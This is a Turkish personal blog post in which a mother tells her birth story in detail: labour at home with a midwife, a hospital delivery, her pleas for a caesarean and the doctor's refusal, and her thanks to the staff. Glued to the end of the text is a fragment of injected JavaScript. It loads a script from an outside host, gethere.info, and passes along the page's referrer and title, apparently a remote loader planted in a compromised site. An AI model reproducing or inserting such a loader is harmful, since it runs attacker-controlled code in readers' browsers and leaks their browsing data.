22.06.2011 Çarşamba

Kayınvalidem ve eltim Eliflerdeyiz. Sabah kahvaltısından sonra ikindileyin yemek için birşeyler hazırlıyoruz. Benim de tam 40. haftamın dolumu bugün olduğu için artık doğum yapayım diye hiçbir işten kendimi kaçınmıyorum, mümkün olduğunca yardım edip hareketli olmaya çabalıyorum. Güzel yemekler hazır olduktan sonra tıka basa yiyorum. Arada oturuyoruz, yeğenlerimle oyun oynayarak vakit geçiriyoruz. Akşam 7 gibi Bekir ve diğer eşler de geliyor. Hep beraber akşam yemeğine oturuluyor ama bendeki tokluk hat safhada olduğu için bir lokma bile yiyemiyorum. Televizyonun karşısında saat 11 leri buluyor ve o anlarda bende saati takip ediyorum çünkü yarım saatte bir regl ağrısı gibi bir ağrı yoklayıp gidiyor. Saate bakıyorum ki bir şeyler mi başlayacak acaba diye aralıklarını kontrol ediyorum. Çok yorgun olduğumuz için artık eve dönüyoruz. Eve varınca karnımın alt kısmında olan bu ağrıyı hafifletir düşüncesi ve belki de beklenen an gelmiştir diye banyo yapıyorum. (iyiki yapmışım,4 gün sonra ancak bir daha yapabildim)

23.06.2011

Yatağıma yatıyorum ama hala ağrı var ve 5-10-20 dakika düzensiz aralıklarla bir dalga vuruyor. Hiç uyuyamıyorum. Saat 3 ile 4 arasını çok iyi takip ettim , çünkü artık yalancı sancı değil de doğum başlıyormuş gibi geldiği için ebemize haber vermek gerekeceğinden sürekli aralıklarını saydım. Başlangıç için hiç te hafif dalgalar değildi, ki daha önce hazırlanmam için hiç yalancı dalgalar da olmamıştı. Bu hissettiklerim eğer yalancı dalgalar olsaydı ebemizi boşuna rahatsız ettiğim için çok mahçup olacaktım o yüzden kendimi iyice dinledim. 4 e doğru dalgaların sıklığı 5 dakikaya inince heyecan ve endişe karışık Sevgili Asude ebemizi aradım. Evimizi bir kez daha tarif ettim ve o da yola çıkacağını söyledi. Onunla konuşmuş olmanın ve geleceğini duymanın rahatlığıyla mı bilmiyorum dalgalar hafifledi. 5 buçuğa doğru ebemiz eve vardı. Açıklık 2cm miş. Bu arada bu işlem tahmin ettiğim kadar can acıtmıyormuş. Beraber bazen uzanıp bazen dolanarak-sallanarak dalgaları atlattık. Bekir işe gitmişti. Saat 12 olduğunda açıklık hala 2cm di. Sevgili doktorumuz Hakan Çoker’e haber verdik. Doğumun çok hızlı ilerlemediğine karar verip biraz daha evde vakit geçirdikten sonra benim aklımı dağıtmak için sahile indik. Herkesin içinde dalgalar geldikçe gözlerimi kapatıp kafamı sallayarak nefes egzersizi yaptım. Oturduğumuz bir pastaneye Sevgili Emel ebemiz de geldi . Beraber biraz daha oturup eve geçtik. Bu gece de dalgaların biraz daha yoğunlaşmasıyla yine uykusuz geçti.

24.06.2011

Saat kaçta hastaneye geçelim diye sabah erken saatlerde düşünmeye başladık. Doktorumuza danışarak 6 buçukta yola çıktık. Battaniyeme sarındım ve yolun boş olmasını dileyerek arabamıza bindik. Neyseki yaklaşık yarım saatte ve 3 dalga atlatarak İstanbul Cerrahi Hastanesine varmıştık. Bu arada yolların bozuk olması ve virajlar dalga sırasında insanı çok zorluyormuş. İlk kez dalgalar sırasında küfür etmeye başladım. Hastane girişinde haber vermemiş olduğumuz için şaşırdılar. Bir an için boş odamız var mı bakalım demeleri beni anlık bir tedirginliğe sürükledi ama neyse ki hemen 6.
kata geçmemizi söylediler. 1608 nolu odamıza geçtik. Hiç manzarası yoktu ama dalgalar sırasında bunu hiç umursamayacağımı bilmiyordum. Sadece doğumdan sonra biraz daha gürültüsüz bir oda olmasını diledim. Saat 9 civarlarında Hakan bey ve Neşe hanım geldiler. Dalgaya denk gelmedikleri için onları güler yüzle ve yorgunluktan biraz kendinden geçmiş bir şekilde karşıladım. Herşeyin yolunda gittiğini ve güzel olacağını konuştuk. Hakan bey beni beklemek üzere aşağı ineceğini söyledi.

Hakan bey videoya da aldılar beni. 40 ım çıktıktan sonra izlemeyi düşünüyorum. Bu ara bir zaman da Asude ebemizle beraber duş aldık. Dalgalar daha da şiddetlenmişti ve artık ıkınmamı istiyorlardı. Hakan bey kapıya bir çarşaf asmıştı. Ona asılarak ıkınmaya başladım ama hiç ıkınma gelmiyordu ve dalganın yoğunluğunu hissederken ıkınmak çok zordu. Ancak birkaç kez ıkınabildim. Tam hatırlamıyorum ama saat herhalde 12 civarlarında doğumhaneye geçtik. Doğumhanenin parfüm kokuyor olması o sırada dalgalar atlatıyor olmasam beni gülmekten yerlere yatırabilirdi. Parfüme alerjim olduğu için içeri girmemle çıkmam bir oldu. Hemen havalandırdılar. Dalgalar artık çok şiddetli gelmeye başlamıştı ama hiç ıkınma gelmiyordu. Aksilik o ya benden de ıkınmam isteniyordu. Önceden yere çömelerek ıkınmayı planladığım için yere bir steril bez serdiler ve ona çömelerek ıkınabileceğimi söylediler. Belki 1-2 kez ıkınabildim. Çok canım acıyordu ve dalgalar artık hiç kesintisiz gelmeye başlamıştı. Sürekli vardı ve 1 dakikada bir de çok fazla şiddetleniyordu. Belimi ovalayarak dalgaları atlatmaya çalışıyordum. Yoğun acıdan dolayı ıkınmayı reddediyor ve kendimi sıkarak ve belimi ovarak artık çok sık gelen ve sanki hiç gitmeyen dalgaları atlatmaya çalışıyordum. Ikınma hala hiç gelmiyordu. Ben ağrı kesici ve epidural sezaryen için yalvarmaya başlamıştım. Öyle ki dalga sırasındaki nefes veriş seslerime ‘Hakan Beeyyy’ diye ritim bile tuturmuştum, onu sezaryena ikna edebilmek için. İmkanı yok doğuramayacakmışım gibi geliyordu. Sanki tüm hazırlıklarım boşa çıkmıştı, yapamayacaktım,
ıkınamıyordum. Asude ebemiz, doktorumuz, hastanenin diğer ebe ve hemşireleri ıkınmam için sürekli beni ikna etmeye çalışıyorlardı. Asude ebemiz iyi polis gibi sürekli Meltem çok az kaldı yapabilirsin diyordu ılımlı sesiyle; Hakan bey ise ondan istememem gereken bir şeyi, sona da çok yaklaşmışken istediğim için, bana kızıyordu ve kesinlikle sezaryen yapmayacağını söylüyordu. Ben Allahınızı severseniz diye tam gaz yalvarmaya devam ediyordum. Dalgalar öyle yoğundu ki muayene olmayı bile reddediyordum. Vakumu elinize alıp gelin ancak öyle çıkarım masaya diyordum.Kafamı duvarlara vururum, kendimi keserim dediğimi hatırlıyorum, Hakan bey de biz 4 kişiyiz yapamazsın diyordu. Neyseki baktılar olmuyor, ben kendimden geçtim artık acıya dayanamıyorum, sonunda ağrı kesici vermeye karar verdiler. Verilmesini bile bekleyemedim hemşireye çabuk ver diyordum. Ama ne yazık ki zerre kadar ağrımı dindirmedi bu iğne. Sonra başın dönmesin diyerek bana serum taktılar. Meğer çıkınca öğrendim ki suni sancıymış. Zaten hemen bir ıkınma gelmeye başladı. Bana ısrarla dakikalardır ıkın demelerinin hiçbir tesiri olamamış , ama bu suni sancı bir anda beni ıkınır hale getirmişti. 1-2 çömelerek ıkındım, sonra bana masaya çık dediler ve bende çıktım. Allaha şükür ki ıkınmaya başlamıştım. Bebeğin çıkışa yaklaştığını hissediyordum. Elleriyle yolu mu açmaya çalışıyorlardı bilmiyorum ama ebemizin ve doktorumuzun elleri de canımı acıtıyordu bu arada. Bana ıkın dediklerinde ıkınıyor, dur ıkınma dediklerinde duruyordum. Bu şekilde çok kısa bir süre sonra bebeğimiz sanki yanıyormuş gibi bir acı vererek dışarı çıktı. Herhalde bu yırtıkların acısıydı. Bebeğimin çıkışıyla beraber bütün acım dinmişti. Alıp hemen yan tarafa götürdüler.Ebeler saat kaç diye birbirlerine sordular duydum. Saat 14:35 miş. Kucağıma verilir diye tahmin ediyordum ama doğumu oldukça zora sokmuş bir anne olarak belki bebeğimi de zorlamışımdır ve bakıma ihtiyacı olduğu için vermemişlerdir diye düşündüm. Ama yine de 1-2 dakika sonra dayanamayıp sordum. Hakan bey sanırım biraz kızgın bir sesle , solunumu yetersiz dedi. O bitkin halimle buna kendim yol açtığımı bildiğim için susup bekledim. Kordon kanı toplamaya çalışıyorlardı. Sonra dünyalar güzeli tatlı bebeğimi kucağıma getirdiler. Tabiki ilk doğduğunda güzel değildi; bunu şuanki haline bakarak diyorum. Ben onunla konuşmaya başladım ve onunla ilgilenirken Hakan Bey de dikmeye başlayınca, yırtık olduğunu anladım. Bebeğimi kucağıma vermiş oldukları için hiç önemsemedim ne yaptıklarını, halimden çok memnundum. Dikiş biraz süre aldı ; bitince sedyeye geçtim ve beni odama götürdüler.

Bebeğimi de birazdan bana getireceklerini söylediler. Kapıdan çıkınca eşimi , annemi ve kardeşimi gördüm. Gülümsüyorlardı. Ben de iyi olduğumu anlasınlar diye gülümsedim onlara. Ama çok üşüyordum ve titriyordum. Çok yorulmuştum ve sarhoş gibiydim. Odamıza çıktık. Bir süre sonra meleğim bebeğim de yanımıza geldi. Onu kucağıma aldım ve nasıl emzireceğimi gösterdiler. Aklımda hala çektiğim o muazzam acı , ıkınmamak ve ıkınamamaktaki ısrarım ve Hakan beyin beni normal doğum yaptırmaya çalışmasındaki hayatım boyunca takdir edeceğim ebelerimizle beraber verdiği inanılmaz çabası vardı. Hakan beyin o yoğun ısrarıma , yalvarışlarıma rağmen beni hala nasıl sezaryen yapmadığını çok merak ediyorum. İnanılmaz bir çabaydı bana göre ve kesinlikle başkası olsa 500 kere sezaryen yapardı hatta ben bile yapardım. Onları çok uğraştırdığımı ve sınırlarını çok zorladığımı biliyor ve utanıyordum. Hakan bey ve Neşe hanım odamıza geldiklerinde hem halsizliğimden hem de utancımdan çok fazla bir şey diyemedim. Sadece gülümseyerek suratlarına bakabiliyordum ama umarım beni anlamışlardır. Doğumdan sonra koridorda yaptığım kısa yürüyüşlerde bir başka annenin epiduralli normal doğuma hazırlandığını duydum. 5cm açıklığı varmıştı ve damar yolu açılmıştı. Sedye ile doğumhaneye gidecekti. Ben bu sürelerin hepsini öyle rahat ve müdahalesiz geçirdimki, bunu ancak o annenin müdahalelerini duyunca anladım. Ben doğumhaneye yürüyerek ve rahatça inmiştim. Başka bir sezaryenli anne de hastaneden tekerlikli sandalye ile çıktı ; ben kendim yürüyerek çıktım. Başka bilmediğim kimbilir hangi müdahalelere maruz kalmadım bilmiyorum. Bende doğum sonrası tek sorun nefes yetmezliğiydi, biraz daralıyordum. Bunun da sebebi sanırım 1,5 gün boyunca sürekli nefes egzersizi yaparak dalgaları atlatmam oldu ve herhalde doğum öncesi yeterince akciğerlerimi hazırlamamıştım. Neyseki bu da 1 günde geçti. Hakan beyi tesadüfen annem vasıtası ile tanıdım ama iyiki doğal doğumu destekleyen bu sevgili doktorumuzu hayat karşıma çıkarmış. Neşe hanım sıcacık sesiniz ve gülümsemenizle bana destek olduğunuz için çok teşekkür ederim. Asude ebemiz, tüm dalgalar boyunca bana eşim uyurken siz uyumayıp eşlik ettiğiniz için, tüm sabrınız ve bir anne gibi sıcacık tavrınızla yanımda destekçim olduğunuz ve ilk başlarda dalgalar yumuşakkenki hoş sohbetiniz için teşekkür ederim. Sevgili Hakan bey , deliler gibi ısrar etmeme , saatlerce yalvarmama rağmen kısa yoldan beni kesip biçmediğiniz için çok çok ama çok teşekkür ederim. Allah hepinizden razı olsun. Ve evet Hakan beyin kursta dediği gibi bir hormon tüm bunları artık gülerek ve gün geçtikçe daha az hatırlayarak unutmamı sağlıyor. Tam unutmadan yazayım dedim. Kızımızın bana izin verdiği boş anlarda bu yazıyı tamamladım. Bugün minnoşumuz 13 günlük ve Allaha şükür sağlıklı. Hangi ebe görse normal doğum olduğu için çok sağlıklı diyor, yani her şeye değdi.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;